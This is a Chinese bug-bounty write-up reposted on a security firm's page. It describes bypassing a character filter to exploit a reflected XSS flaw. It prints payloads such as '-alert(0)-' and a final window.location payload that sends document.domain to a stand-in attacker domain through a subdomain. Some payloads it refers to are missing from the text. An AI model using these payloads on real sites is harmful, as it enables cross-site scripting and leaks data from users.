我与xss的有趣故事_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

我与xss的有趣故事

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


我与xss的有趣故事

文章来源:EDI安全 Part 01 最近,在一个私人的赏金计划中,我发现了一个有趣的XSS漏洞,该漏洞易受攻击的enpoint限制了特殊字符的使用。用户的输入反映在以下内容中: 当可以使用'字符破坏标签时,它看起来像是一个简单的XSS漏洞。通常,以下payload '-alert(0)-'应该可以工作。 Part 02 我发现大多数特殊字符都被过滤掉了(就像插入时从内容中删除一样)。经过最少的模糊处理后,以下特殊字符是唯一通过此enpoint接受并反映出来的字符: ,。=:@#?*% 我试图通过在JSFiddle上进行实验来确认是否仍然可行。我注意到,当反射点与上述代码相同时,我们也可以使用逗号。即',alert(0)' Part 03 现在,它尚未完成。记住,不允许使用括号。 因此,我试图寻找很多方法执行警报框,因为这是演示XSS漏洞的简便方法。但是,在这种情况下,使用允许的特殊字符似乎无法实现所有方法。.location = name除外 我开始向Slack的人员和我的CTF团队征求意见。通过JSFiddle发现,以下payload似乎是可能的。 还没做完。当我在JSFiddle中进行测试时,这是成功的,但在易受攻击的网站上尝试时却没有。这是因为当它检测到请求是否包含不允许的字符串匹配(例如javascript:document。*)时,它抛出500条错误消息。 进一步的测试发现,我可以通过window.location = http:// url重定向请求。最开始这是失败的,因为// 不允许使用字符。但是,该请求被重定向而不使用斜杠。window.location = http:url 是可能的  Part 05 在这一阶段,已经足以证明JavaScript的执行。但是,从分类器/客户的角度来看,这似乎就像一个开放的重定向漏洞。我仍然需要证明可以将内容泄露到外部。以下payload应基本正常工作。 ',window.location='http:my-url/'%2bdocument.domain%2b,' 但是它没有工作。因为payload再次包含/。在CTF成员johnburn告诉我之前,只需将我想要的内容解析为子域即可 。类似于通过DNS过滤数据。 所以最终的payload是: ',window.location='http:'%2bdocument.domain%2b'.my-burp-domain','

我与xss的有趣故事